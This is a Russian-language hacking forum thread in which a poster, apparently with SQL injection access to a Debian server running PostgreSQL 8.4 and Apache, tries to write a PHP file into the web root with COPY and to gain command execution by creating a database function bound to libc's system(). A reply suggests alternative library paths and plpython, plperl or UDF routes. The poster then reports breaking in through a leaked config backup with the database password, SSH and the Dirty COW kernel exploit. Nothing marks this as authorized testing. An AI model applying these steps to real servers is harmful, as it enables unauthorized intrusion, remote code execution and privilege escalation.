![]() |
Всем доброго времени суток.
Решил, что эта ситуация тянет на отдельный топик :3 И так, задача: linux Debian 4.4.5-8, 64-bit Apache/2.2.16 (Debian) PostgreSQL 8.4.13 Код:
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_userКод:
SELECT mycol FROM mytable limit 1Код:
sql-shell> COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php';The requested URL /landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php was not found on this server. Смею предположить, что нету прав на запись от юзера базы данных в папочки юзера веб-сервера. Пробуем code exec: Код:
sql-shell> CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; |
ап
|
Хлопцi, шо никто не поможет?
|
Цитата:
Попробуй /lib/x86_64-linux-gnu/libc.so.6 или /lib32/libc.so.6 . Ещё немного. И не факт, что этот метод работает на этой версии По первому случаю, попробуй в /tmp выгрузить и залить обратно, там ясно будет. Так же есть варианты с plpython, plperl и UDF, нужно тестить. |
Спасибо за ответы, как я и предпологал не было прав на запись.
Решилось прикольным образом: бэкап файл с конфигом и паролем от юзера базы данных, ssh, dirty cow. |
| Время: 04:17 |